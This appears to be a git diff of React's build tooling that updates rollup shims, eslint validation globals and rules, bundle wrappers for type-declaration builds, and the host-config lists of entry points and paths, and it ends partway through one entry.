diff --git a/scripts/rollup/shims/react-native/ReactNativeViewConfigRegistry.js b/scripts/rollup/shims/react-native/ReactNativeViewConfigRegistry.js
index 98e03187c74a..75e646e1b39d 100644
--- a/scripts/rollup/shims/react-native/ReactNativeViewConfigRegistry.js
+++ b/scripts/rollup/shims/react-native/ReactNativeViewConfigRegistry.js
@@ -81,6 +81,8 @@ export function register(name: string, callback: () => ViewConfig): string {
     typeof callback === 'function',
     'View config getter callback for component `%s` must be a function (received `%s`)',
     name,
+    /* $FlowFixMe[invalid-compare] Error discovered during Constant Condition
+     * roll out. See https://fburl.com/workplace/5whu3i34. */
     callback === null ? 'null' : typeof callback,
   );
   viewConfigCallbacks.set(name, callback);
@@ -93,8 +95,8 @@ export function register(name: string, callback: () => ViewConfig): string {
  * This configuration will be lazy-loaded from UIManager.
  */
 export function get(name: string): ViewConfig {
-  let viewConfig;
-  if (!viewConfigs.has(name)) {
+  let viewConfig = viewConfigs.get(name);
+  if (viewConfig == null) {
     const callback = viewConfigCallbacks.get(name);
     if (typeof callback !== 'function') {
       invariant(
@@ -109,15 +111,14 @@ export function get(name: string): ViewConfig {
       );
     }
     viewConfig = callback();
+    invariant(viewConfig, 'View config not found for component `%s`', name);
+
     processEventTypes(viewConfig);
     viewConfigs.set(name, viewConfig);
 
     // Clear the callback after the config is set so that
     // we don't mask any errors during registration.
     viewConfigCallbacks.set(name, null);
-  } else {
-    viewConfig = viewConfigs.get(name);
   }
-  invariant(viewConfig, 'View config not found for name %s', name);
   return viewConfig;
 }
diff --git a/scripts/rollup/shims/react-native/createReactNativeComponentClass.js b/scripts/rollup/shims/react-native/createReactNativeComponentClass.js
index 388991e45b54..42ea979daef3 100644
--- a/scripts/rollup/shims/react-native/createReactNativeComponentClass.js
+++ b/scripts/rollup/shims/react-native/createReactNativeComponentClass.js
@@ -31,4 +31,4 @@ const createReactNativeComponentClass = function (
   return register(name, callback);
 };
 
-module.exports = createReactNativeComponentClass;
+export default createReactNativeComponentClass;
diff --git a/scripts/rollup/stats.js b/scripts/rollup/stats.js
index 5a5b376c8b1a..d0fbce710894 100644
--- a/scripts/rollup/stats.js
+++ b/scripts/rollup/stats.js
@@ -18,14 +18,10 @@ const currentBuildResults = {
 };
 
 function saveResults() {
-  if (process.env.CIRCLE_NODE_TOTAL) {
-    // In CI, write the bundle sizes to a subdirectory and append the node index
-    // to the filename. A downstream job will consolidate these into a
-    // single file.
-    const nodeIndex = process.env.CIRCLE_NODE_INDEX;
+  if (process.env.CI === true) {
     mkdirp.sync('build/sizes');
     fs.writeFileSync(
-      join('build', 'sizes', `bundle-sizes-${nodeIndex}.json`),
+      join('build', 'sizes', `bundle-sizes-${process.env.NODE_INDEX}.json`),
       JSON.stringify(currentBuildResults, null, 2)
     );
   } else {
diff --git a/scripts/rollup/validate/eslintrc.cjs.js b/scripts/rollup/validate/eslintrc.cjs.js
index fa4b9cb979cf..57b9043c9bd9 100644
--- a/scripts/rollup/validate/eslintrc.cjs.js
+++ b/scripts/rollup/validate/eslintrc.cjs.js
@@ -14,6 +14,7 @@ module.exports = {
     Symbol: 'readonly',
     WeakMap: 'readonly',
     WeakSet: 'readonly',
+    WeakRef: 'readonly',
 
     Int8Array: 'readonly',
     Uint8Array: 'readonly',
@@ -34,6 +35,9 @@ module.exports = {
 
     FinalizationRegistry: 'readonly',
 
+    ScrollTimeline: 'readonly',
+    navigation: 'readonly',
+
     // Vendor specific
     MSApp: 'readonly',
     __REACT_DEVTOOLS_GLOBAL_HOOK__: 'readonly',
@@ -58,12 +62,16 @@ module.exports = {
 
     // Flight Webpack
     __webpack_chunk_load__: 'readonly',
+    __webpack_get_script_filename__: 'readonly',
     __webpack_require__: 'readonly',
 
     // Flight Turbopack
-    __turbopack_load__: 'readonly',
+    __turbopack_load_by_url__: 'readonly',
     __turbopack_require__: 'readonly',
 
+    // Flight Parcel
+    parcelRequire: 'readonly',
+
     // jest
     expect: 'readonly',
     jest: 'readonly',
@@ -83,6 +91,17 @@ module.exports = {
   rules: {
     'no-undef': 'error',
     'no-shadow-restricted-names': 'error',
+    'no-restricted-syntax': [
+      'error',
+      // TODO: Can be removed once we upgrade GCC to a version without `optimizeArgumentsArray` optimization.
+      {
+        selector: 'Identifier[name=/^JSCompiler_OptimizeArgumentsArray_/]',
+        message:
+          'Google Closure Compiler optimized `arguments` access. ' +
+          'This affects function arity. ' +
+          'Create a reference to `arguments` to avoid this optimization',
+      },
+    ],
   },
 
   // These plugins aren't used, but eslint complains if an eslint-ignore comment
diff --git a/scripts/rollup/validate/eslintrc.cjs2015.js b/scripts/rollup/validate/eslintrc.cjs2015.js
index 64d83ff90c24..c9757ecd8708 100644
--- a/scripts/rollup/validate/eslintrc.cjs2015.js
+++ b/scripts/rollup/validate/eslintrc.cjs2015.js
@@ -14,6 +14,7 @@ module.exports = {
     Symbol: 'readonly',
     WeakMap: 'readonly',
     WeakSet: 'readonly',
+    WeakRef: 'readonly',
 
     Int8Array: 'readonly',
     Uint8Array: 'readonly',
@@ -32,6 +33,8 @@ module.exports = {
     Reflect: 'readonly',
     globalThis: 'readonly',
     FinalizationRegistry: 'readonly',
+    ScrollTimeline: 'readonly',
+    navigation: 'readonly',
     // Vendor specific
     MSApp: 'readonly',
     __REACT_DEVTOOLS_GLOBAL_HOOK__: 'readonly',
@@ -56,12 +59,16 @@ module.exports = {
 
     // Flight Webpack
     __webpack_chunk_load__: 'readonly',
+    __webpack_get_script_filename__: 'readonly',
     __webpack_require__: 'readonly',
 
     // Flight Turbopack
-    __turbopack_load__: 'readonly',
+    __turbopack_load_by_url__: 'readonly',
     __turbopack_require__: 'readonly',
 
+    // Flight Parcel
+    parcelRequire: 'readonly',
+
     // jest
     expect: 'readonly',
     jest: 'readonly',
@@ -78,6 +85,17 @@ module.exports = {
   rules: {
     'no-undef': 'error',
     'no-shadow-restricted-names': 'error',
+    'no-restricted-syntax': [
+      'error',
+      // TODO: Can be removed once we upgrade GCC to a version without `optimizeArgumentsArray` optimization.
+      {
+        selector: 'Identifier[name=/^JSCompiler_OptimizeArgumentsArray_/]',
+        message:
+          'Google Closure Compiler optimized `arguments` access. ' +
+          'This affects function arity. ' +
+          'Create a reference to `arguments` to avoid this optimization',
+      },
+    ],
   },
 
   // These plugins aren't used, but eslint complains if an eslint-ignore comment
diff --git a/scripts/rollup/validate/eslintrc.esm.js b/scripts/rollup/validate/eslintrc.esm.js
index 80572e85cd8c..26592005311d 100644
--- a/scripts/rollup/validate/eslintrc.esm.js
+++ b/scripts/rollup/validate/eslintrc.esm.js
@@ -14,6 +14,7 @@ module.exports = {
     Symbol: 'readonly',
     WeakMap: 'readonly',
     WeakSet: 'readonly',
+    WeakRef: 'readonly',
 
     Int8Array: 'readonly',
     Uint8Array: 'readonly',
@@ -34,6 +35,9 @@ module.exports = {
 
     FinalizationRegistry: 'readonly',
 
+    ScrollTimeline: 'readonly',
+    navigation: 'readonly',
+
     // Vendor specific
     MSApp: 'readonly',
     __REACT_DEVTOOLS_GLOBAL_HOOK__: 'readonly',
@@ -58,12 +62,16 @@ module.exports = {
 
     // Flight Webpack
     __webpack_chunk_load__: 'readonly',
+    __webpack_get_script_filename__: 'readonly',
     __webpack_require__: 'readonly',
 
     // Flight Turbopack
-    __turbopack_load__: 'readonly',
+    __turbopack_load_by_url__: 'readonly',
     __turbopack_require__: 'readonly',
 
+    // Flight Parcel
+    parcelRequire: 'readonly',
+
     // jest
     expect: 'readonly',
     jest: 'readonly',
@@ -80,6 +88,17 @@ module.exports = {
   rules: {
     'no-undef': 'error',
     'no-shadow-restricted-names': 'error',
+    'no-restricted-syntax': [
+      'error',
+      // TODO: Can be removed once we upgrade GCC to a version without `optimizeArgumentsArray` optimization.
+      {
+        selector: 'Identifier[name=/^JSCompiler_OptimizeArgumentsArray_/]',
+        message:
+          'Google Closure Compiler optimized `arguments` access. ' +
+          'This affects function arity. ' +
+          'Create a reference to `arguments` to avoid this optimization',
+      },
+    ],
   },
 
   // These plugins aren't used, but eslint complains if an eslint-ignore comment
diff --git a/scripts/rollup/validate/eslintrc.fb.js b/scripts/rollup/validate/eslintrc.fb.js
index 9f344c5aac3a..b8b556d8b7b2 100644
--- a/scripts/rollup/validate/eslintrc.fb.js
+++ b/scripts/rollup/validate/eslintrc.fb.js
@@ -14,6 +14,7 @@ module.exports = {
     Proxy: 'readonly',
     WeakMap: 'readonly',
     WeakSet: 'readonly',
+    WeakRef: 'readonly',
 
     Int8Array: 'readonly',
     Uint8Array: 'readonly',
@@ -34,6 +35,9 @@ module.exports = {
 
     FinalizationRegistry: 'readonly',
 
+    ScrollTimeline: 'readonly',
+    navigation: 'readonly',
+
     // Vendor specific
     MSApp: 'readonly',
     __REACT_DEVTOOLS_GLOBAL_HOOK__: 'readonly',
@@ -71,6 +75,17 @@ module.exports = {
   rules: {
     'no-undef': 'error',
     'no-shadow-restricted-names': 'error',
+    'no-restricted-syntax': [
+      'error',
+      // TODO: Can be removed once we upgrade GCC to a version without `optimizeArgumentsArray` optimization.
+      {
+        selector: 'Identifier[name=/^JSCompiler_OptimizeArgumentsArray_/]',
+        message:
+          'Google Closure Compiler optimized `arguments` access. ' +
+          'This affects function arity. ' +
+          'Create a reference to `arguments` to avoid this optimization',
+      },
+    ],
   },
 
   // These plugins aren't used, but eslint complains if an eslint-ignore comment
diff --git a/scripts/rollup/validate/eslintrc.rn.js b/scripts/rollup/validate/eslintrc.rn.js
index d18516f80230..2ee825dd7741 100644
--- a/scripts/rollup/validate/eslintrc.rn.js
+++ b/scripts/rollup/validate/eslintrc.rn.js
@@ -14,6 +14,7 @@ module.exports = {
     Proxy: 'readonly',
     WeakMap: 'readonly',
     WeakSet: 'readonly',
+    WeakRef: 'readonly',
 
     Int8Array: 'readonly',
     Uint8Array: 'readonly',
@@ -34,6 +35,9 @@ module.exports = {
 
     FinalizationRegistry: 'readonly',
 
+    ScrollTimeline: 'readonly',
+    navigation: 'readonly',
+
     // Vendor specific
     MSApp: 'readonly',
     __REACT_DEVTOOLS_GLOBAL_HOOK__: 'readonly',
@@ -73,6 +77,17 @@ module.exports = {
   rules: {
     'no-undef': 'error',
     'no-shadow-restricted-names': 'error',
+    'no-restricted-syntax': [
+      'error',
+      // TODO: Can be removed once we upgrade GCC to a version without `optimizeArgumentsArray` optimization.
+      {
+        selector: 'Identifier[name=/^JSCompiler_OptimizeArgumentsArray_/]',
+        message:
+          'Google Closure Compiler optimized `arguments` access. ' +
+          'This affects function arity. ' +
+          'Create a reference to `arguments` to avoid this optimization',
+      },
+    ],
   },
 
   // These plugins aren't used, but eslint complains if an eslint-ignore comment
diff --git a/scripts/rollup/validate/index.js b/scripts/rollup/validate/index.js
index 08d356190aa8..429a9bbc6b3e 100644
--- a/scripts/rollup/validate/index.js
+++ b/scripts/rollup/validate/index.js
@@ -17,6 +17,11 @@ function getFormat(filepath) {
       // TODO: Should we lint them?
       return null;
     }
+    if (filepath.includes('ESLintPluginReactHooks')) {
+      // The ESLint plugin bundles compiler code with modern syntax that
+      // doesn't need to conform to the ES5 www lint rules.
+      return null;
+    }
     return 'fb';
   }
   if (filepath.includes('react-native')) {
diff --git a/scripts/rollup/wrappers.js b/scripts/rollup/wrappers.js
index e01ca30a6d05..52ae3b21252d 100644
--- a/scripts/rollup/wrappers.js
+++ b/scripts/rollup/wrappers.js
@@ -21,6 +21,8 @@ const {
   RN_FB_PROD,
   RN_FB_PROFILING,
   BROWSER_SCRIPT,
+  CJS_DTS,
+  ESM_DTS,
 } = bundleTypes;
 
 const {RECONCILER} = moduleTypes;
@@ -248,6 +250,16 @@ ${source}
   Object.defineProperty(module.exports, "__esModule", { value: true });
   `;
   },
+
+  /***************** CJS_DTS *****************/
+  [CJS_DTS](source, globalName, filename, moduleType) {
+    return source;
+  },
+
+  /***************** ESM_DTS *****************/
+  [ESM_DTS](source, globalName, filename, moduleType) {
+    return source;
+  },
 };
 
 const licenseHeaderWrappers = {
@@ -464,6 +476,30 @@ ${license}
  * @preventMunge
  */
 
+${source}`;
+  },
+
+  /***************** CJS_DTS *****************/
+  [CJS_DTS](source, globalName, filename, moduleType) {
+    return `/**
+ * @license React
+ * ${filename}
+ *
+${license}
+ */
+
+${source}`;
+  },
+
+  /***************** ESM_DTS *****************/
+  [ESM_DTS](source, globalName, filename, moduleType) {
+    return `/**
+ * @license React
+ * ${filename}
+ *
+${license}
+ */
+
 ${source}`;
   },
 };
@@ -474,7 +510,8 @@ function wrapWithTopLevelDefinitions(
   globalName,
   filename,
   moduleType,
-  wrapWithModuleBoundaries
+  wrapWithModuleBoundaries,
+  wrapWithNodeDevGuard
 ) {
   if (wrapWithModuleBoundaries) {
     switch (bundleType) {
@@ -517,8 +554,14 @@ function wrapWithTopLevelDefinitions(
     return wrapper(source, globalName, filename, moduleType);
   }
 
+  // Node.js build tools (e.g. ESLint plugins) use process.env.NODE_ENV instead
+  // of __DEV__ even when building for FB_WWW, since they run in Node.js where
+  // __DEV__ is not defined.
+  const effectiveBundleType =
+    wrapWithNodeDevGuard && bundleType === FB_WWW_DEV ? NODE_DEV : bundleType;
+
   // All the other packages.
-  const wrapper = topLevelDefinitionWrappers[bundleType];
+  const wrapper = topLevelDefinitionWrappers[effectiveBundleType];
   if (typeof wrapper !== 'function') {
     throw new Error(`Unsupported build type: ${bundleType}.`);
   }
diff --git a/scripts/shared/inlinedHostConfigs.js b/scripts/shared/inlinedHostConfigs.js
index a63da44c36f2..0135dda88767 100644
--- a/scripts/shared/inlinedHostConfigs.js
+++ b/scripts/shared/inlinedHostConfigs.js
@@ -8,19 +8,63 @@
 
 module.exports = [
   {
-    shortName: 'dom-node',
+    shortName: 'dom-browser',
     entryPoints: [
       'react-dom',
       'react-dom/client',
       'react-dom/profiling',
       'react-dom/unstable_testing',
+      'react-dom/src/server/react-dom-server.browser.js',
+      'react-dom/static.browser',
+      'react-dom/unstable_server-external-runtime',
+      'react-server-dom-webpack/src/client/react-flight-dom-client.browser',
+      'react-server-dom-webpack/src/server/react-flight-dom-server.browser',
+    ],
+    paths: [
+      'react-dom',
+      'react-dom/src/ReactDOMReactServer.js',
+      'react-dom-bindings',
+      'react-dom/client',
+      'react-dom/profiling',
+      'react-dom/server.browser',
+      'react-dom/static.browser',
+      'react-dom/unstable_testing',
+      'react-dom/src/server/react-dom-server.browser',
+      'react-dom/src/server/ReactDOMFizzServerBrowser.js', // react-dom/server.browser
+      'react-dom/src/server/ReactDOMFizzStaticBrowser.js',
+      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',
+      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',
+      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',
+      'react-server-dom-webpack',
+      'react-server-dom-webpack/client',
+      'react-server-dom-webpack/client.browser',
+      'react-server-dom-webpack/server.browser',
+      'react-server-dom-webpack/static.browser',
+      'react-server-dom-webpack/src/client/ReactFlightDOMClientBrowser.js', // react-server-dom-webpack/client.browser
+      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js',
+      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackBrowser.js',
+      'react-server-dom-webpack/src/client/react-flight-dom-client.browser',
+      'react-server-dom-webpack/src/server/react-flight-dom-server.browser',
+      'react-server-dom-webpack/src/server/ReactFlightDOMServerBrowser.js', // react-server-dom-webpack/src/server/react-flight-dom-server.browser
+      'react-devtools',
+      'react-devtools-core',
+      'react-devtools-shell',
+      'react-devtools-shared',
+      'shared/ReactDOMSharedInternals',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
+    ],
+    isFlowTyped: true,
+    isServerSupported: true,
+  },
+  {
+    shortName: 'dom-node',
+    entryPoints: [
       'react-dom/src/ReactDOMReactServer.js',
       'react-dom/src/server/react-dom-server.node.js',
-      'react-dom/static.node',
       'react-dom/test-utils',
       'react-dom/unstable_server-external-runtime',
-      'react-server-dom-webpack/server.node.unbundled',
-      'react-server-dom-webpack/client.node.unbundled',
+      'react-server-dom-webpack/src/client/react-flight-dom-client.node',
+      'react-server-dom-webpack/src/server/react-flight-dom-server.node',
     ],
     paths: [
       'react-dom',
@@ -36,16 +80,17 @@ module.exports = [
       'react-dom/src/server/react-dom-server.node',
       'react-dom/src/server/ReactDOMFizzServerNode.js', // react-dom/server.node
       'react-dom/src/server/ReactDOMFizzStaticNode.js',
+      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',
+      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',
+      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',
       'react-server-dom-webpack',
-      'react-server-dom-webpack/client.node.unbundled',
       'react-server-dom-webpack/server',
-      'react-server-dom-webpack/server.node.unbundled',
-      'react-server-dom-webpack/src/ReactFlightDOMServerNode.js', // react-server-dom-webpack/server.node
-      'react-server-dom-webpack/src/ReactFlightDOMClientNode.js', // react-server-dom-webpack/client.node
-      'react-server-dom-webpack/src/ReactFlightClientConfigBundlerNode.js',
-      'react-devtools',
-      'react-devtools-core',
-      'react-devtools-shell',
+      'react-server-dom-webpack/static',
+      'react-server-dom-webpack/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-webpack/client.node
+      'react-server-dom-webpack/src/client/ReactFlightDOMClientNode.js', // react-server-dom-webpack/client.node
+      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js',
+      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackServer.js',
+      'react-server-dom-webpack/src/server/ReactFlightDOMServerNode.js', // react-server-dom-webpack/src/server/react-flight-dom-server.node
       'react-devtools-shared',
       'shared/ReactDOMSharedInternals',
       'react-server/src/ReactFlightServerConfigDebugNode.js',
@@ -56,8 +101,8 @@ module.exports = [
   {
     shortName: 'dom-node-webpack',
     entryPoints: [
-      'react-server-dom-webpack/server.node',
-      'react-server-dom-webpack/client.node',
+      'react-server-dom-webpack/src/client/react-flight-dom-client.node',
+      'react-server-dom-webpack/src/server/react-flight-dom-server.node',
     ],
     paths: [
       'react-dom',
@@ -71,13 +116,22 @@ module.exports = [
       'react-dom/src/server/react-dom-server.node',
       'react-dom/src/server/ReactDOMFizzServerNode.js', // react-dom/server.node
       'react-dom/src/server/ReactDOMFizzStaticNode.js',
+      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',
+      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',
+      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',
       'react-server-dom-webpack',
       'react-server-dom-webpack/client.node',
       'react-server-dom-webpack/server',
       'react-server-dom-webpack/server.node',
-      'react-server-dom-webpack/src/ReactFlightDOMServerNode.js', // react-server-dom-webpack/server.node
-      'react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpack.js',
-      'react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpackServer.js',
+      'react-server-dom-webpack/static',
+      'react-server-dom-webpack/static.node',
+      'react-server-dom-webpack/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-webpack/client.node
+      'react-server-dom-webpack/src/client/ReactFlightDOMClientNode.js', // react-server-dom-webpack/client.node
+      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js',
+      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackServer.js',
+      'react-server-dom-webpack/src/client/react-flight-dom-client.node',
+      'react-server-dom-webpack/src/server/react-flight-dom-server.node',
+      'react-server-dom-webpack/src/server/ReactFlightDOMServerNode.js', // react-server-dom-webpack/src/server/react-flight-dom-server.node
       'react-server-dom-webpack/node-register',
       'react-server-dom-webpack/src/ReactFlightWebpackNodeRegister.js',
       'react-devtools',
@@ -93,8 +147,8 @@ module.exports = [
   {
     shortName: 'dom-node-turbopack',
     entryPoints: [
-      'react-server-dom-turbopack/server.node.unbundled',
-      'react-server-dom-turbopack/client.node.unbundled',
+      'react-server-dom-turbopack/src/client/react-flight-dom-client.node',
+      'react-server-dom-turbopack/src/server/react-flight-dom-server.node',
     ],
     paths: [
       'react-dom',
@@ -108,13 +162,22 @@ module.exports = [
       'react-dom/src/server/react-dom-server.node',
       'react-dom/src/server/ReactDOMFizzServerNode.js', // react-dom/server.node
       'react-dom/src/server/ReactDOMFizzStaticNode.js',
+      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',
+      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',
+      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',
       'react-server-dom-turbopack',
-      'react-server-dom-turbopack/client.node.unbundled',
+      'react-server-dom-turbopack/client.node',
       'react-server-dom-turbopack/server',
-      'react-server-dom-turbopack/server.node.unbundled',
-      'react-server-dom-turbopack/src/ReactFlightDOMServerNode.js', // react-server-dom-webpack/server.node.unbundled
-      'react-server-dom-turbopack/src/ReactFlightDOMClientNode.js', // react-server-dom-webpack/client.node.unbundled
-      'react-server-dom-turbopack/src/ReactFlightClientConfigBundlerNode.js',
+      'react-server-dom-turbopack/server.node',
+      'react-server-dom-turbopack/static',
+      'react-server-dom-turbopack/static.node',
+      'react-server-dom-turbopack/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-turbopack/client.node
+      'react-server-dom-turbopack/src/client/ReactFlightDOMClientNode.js', // react-server-dom-turbopack/client.node
+      'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack.js',
+      'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackServer.js',
+      'react-server-dom-turbopack/src/client/react-flight-dom-client.node',
+      'react-server-dom-turbopack/src/server/react-flight-dom-server.node',
+      'react-server-dom-turbopack/src/server/ReactFlightDOMServerNode.js', // react-server-dom-turbopack/src/server/react-flight-dom-server.node
       'react-server-dom-turbopack/node-register',
       'react-server-dom-turbopack/src/ReactFlightTurbopackNodeRegister.js',
       'react-devtools',
@@ -128,10 +191,10 @@ module.exports = [
     isServerSupported: true,
   },
   {
-    shortName: 'dom-node-turbopack-bundled',
+    shortName: 'dom-node-parcel',
     entryPoints: [
-      'react-server-dom-turbopack/server.node',
-      'react-server-dom-turbopack/client.node',
+      'react-server-dom-parcel/src/client/react-flight-dom-client.node',
+      'react-server-dom-parcel/src/server/react-flight-dom-server.node',
     ],
     paths: [
       'react-dom',
@@ -145,16 +208,21 @@ module.exports = [
       'react-dom/src/server/react-dom-server.node',
       'react-dom/src/server/ReactDOMFizzServerNode.js', // react-dom/server.node
       'react-dom/src/server/ReactDOMFizzStaticNode.js',
-      'react-server-dom-turbopack',
-      'react-server-dom-turbopack/client.node',
-      'react-server-dom-turbopack/server',
-      'react-server-dom-turbopack/server.node',
-      'react-server-dom-turbopack/src/ReactFlightDOMServerNode.js', // react-server-dom-turbopack/server.node
-      'react-server-dom-turbopack/src/ReactFlightDOMClientNode.js', // react-server-dom-webpack/client.node
-      'react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopack.js',
-      'react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopackServer.js',
-      'react-server-dom-turbopack/node-register',
-      'react-server-dom-turbopack/src/ReactFlightTurbopackNodeRegister.js',
+      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',
+      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',
+      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',
+      'react-server-dom-parcel',
+      'react-server-dom-parcel/client.node',
+      'react-server-dom-parcel/server',
+      'react-server-dom-parcel/server.node',
+      'react-server-dom-parcel/static',
+      'react-server-dom-parcel/static.node',
+      'react-server-dom-parcel/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-parcel/client.node
+      'react-server-dom-parcel/src/client/ReactFlightDOMClientNode.js', // react-server-dom-parcel/client.node
+      'react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel.js',
+      'react-server-dom-parcel/src/client/react-flight-dom-client.node',
+      'react-server-dom-parcel/src/server/react-flight-dom-server.node',
+      'react-server-dom-parcel/src/server/ReactFlightDOMServerNode.js', // react-server-dom-parcel/src/server/react-flight-dom-server.node
       'react-devtools',
       'react-devtools-core',
       'react-devtools-shell',
@@ -166,14 +234,51 @@ module.exports = [
     isServerSupported: true,
   },
   {
-    shortName: 'dom-bun',
+    shortName: 'dom-node-unbundled',
     entryPoints: [
+      'react-server-dom-unbundled/src/client/react-flight-dom-client.node',
+      'react-server-dom-unbundled/src/server/react-flight-dom-server.node',
+    ],
+    paths: [
       'react-dom',
+      'react-dom-bindings',
       'react-dom/client',
       'react-dom/profiling',
-      'react-dom/unstable_testing',
-      'react-dom/src/server/react-dom-server.bun.js',
+      'react-dom/server',
+      'react-dom/server.node',
+      'react-dom/static',
+      'react-dom/static.node',
+      'react-dom/src/server/react-dom-server.node',
+      'react-dom/src/server/ReactDOMFizzServerNode.js', // react-dom/server.node
+      'react-dom/src/server/ReactDOMFizzStaticNode.js',
+      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',
+      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',
+      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',
+      'react-server-dom-unbundled',
+      'react-server-dom-unbundled/client',
+      'react-server-dom-unbundled/server',
+      'react-server-dom-unbundled/server.node',
+      'react-server-dom-unbundled/static',
+      'react-server-dom-unbundled/static.node',
+      'react-server-dom-unbundled/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-unbundled/client.node
+      'react-server-dom-unbundled/src/client/ReactFlightDOMClientNode.js', // react-server-dom-unbundled/client.node
+      'react-server-dom-unbundled/src/client/ReactFlightClientConfigBundlerNode.js',
+      'react-server-dom-unbundled/src/client/react-flight-dom-client.node',
+      'react-server-dom-unbundled/src/server/react-flight-dom-server.node',
+      'react-server-dom-unbundled/src/server/ReactFlightDOMServerNode.js', // react-server-dom-unbundled/src/server/react-flight-dom-server.node
+      'react-devtools',
+      'react-devtools-core',
+      'react-devtools-shell',
+      'react-devtools-shared',
+      'shared/ReactDOMSharedInternals',
+      'react-server/src/ReactFlightServerConfigDebugNode.js',
     ],
+    isFlowTyped: true,
+    isServerSupported: true,
+  },
+  {
+    shortName: 'dom-bun',
+    entryPoints: ['react-dom/src/server/react-dom-server.bun.js'],
     paths: [
       'react-dom',
       'react-dom/client',
@@ -181,83 +286,88 @@ module.exports = [
       'react-dom/server.bun',
       'react-dom/src/server/react-dom-server.bun',
       'react-dom/src/server/ReactDOMFizzServerBun.js',
+      'react-dom/src/server/ReactDOMFizzServerNode.js',
+      'react-dom/src/server/ReactDOMFizzStaticNode.js',
       'react-dom-bindings',
+      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',
+      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',
+      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',
       'shared/ReactDOMSharedInternals',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
     ],
     isFlowTyped: true,
     isServerSupported: true,
   },
   {
-    shortName: 'dom-browser',
-    entryPoints: [
-      'react-dom',
-      'react-dom/client',
-      'react-dom/profiling',
-      'react-dom/unstable_testing',
-      'react-dom/src/server/react-dom-server.browser.js',
-      'react-dom/static.browser',
-      'react-dom/unstable_server-external-runtime',
-      'react-server-dom-webpack/server.browser',
-      'react-server-dom-webpack/client.browser',
-    ],
+    shortName: 'dom-browser-esm',
+    entryPoints: ['react-server-dom-esm/client.browser'],
     paths: [
       'react-dom',
       'react-dom/src/ReactDOMReactServer.js',
-      'react-dom-bindings',
       'react-dom/client',
       'react-dom/profiling',
-      'react-dom/server.browser',
-      'react-dom/static.browser',
-      'react-dom/unstable_testing',
-      'react-dom/src/server/react-dom-server.browser',
-      'react-dom/src/server/ReactDOMFizzServerBrowser.js', // react-dom/server.browser
-      'react-dom/src/server/ReactDOMFizzStaticBrowser.js',
-      'react-server-dom-webpack',
-      'react-server-dom-webpack/client',
-      'react-server-dom-webpack/client.browser',
-      'react-server-dom-webpack/server.browser',
-      'react-server-dom-webpack/src/ReactFlightDOMClientBrowser.js', // react-server-dom-webpack/client.browser
-      'react-server-dom-webpack/src/ReactFlightDOMServerBrowser.js', // react-server-dom-webpack/server.browser
-      'react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpack.js',
-      'react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpackBrowser.js',
+      'react-dom/server',
+      'react-dom/server.node',
+      'react-dom-bindings',
+      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',
+      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',
+      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',
+      'react-server-dom-esm',
+      'react-server-dom-esm/client',
+      'react-server-dom-esm/client.browser',
+      'react-server-dom-esm/src/client/ReactFlightDOMClientBrowser.js', // react-server-dom-esm/client.browser
       'react-devtools',
       'react-devtools-core',
       'react-devtools-shell',
       'react-devtools-shared',
       'shared/ReactDOMSharedInternals',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
     ],
     isFlowTyped: true,
     isServerSupported: true,
   },
   {
-    shortName: 'dom-browser-esm',
-    entryPoints: ['react-server-dom-esm/client.browser'],
+    shortName: 'dom-browser-turbopack',
+    entryPoints: [
+      'react-server-dom-turbopack/src/client/react-flight-dom-client.browser',
+      'react-server-dom-turbopack/src/server/react-flight-dom-server.browser',
+    ],
     paths: [
       'react-dom',
-      'react-dom/src/ReactDOMReactServer.js',
       'react-dom/client',
       'react-dom/profiling',
       'react-dom/server',
       'react-dom/server.node',
       'react-dom-bindings',
-      'react-server-dom-esm',
-      'react-server-dom-esm/client',
-      'react-server-dom-esm/client.browser',
-      'react-server-dom-esm/src/ReactFlightDOMClientBrowser.js', // react-server-dom-esm/client.browser
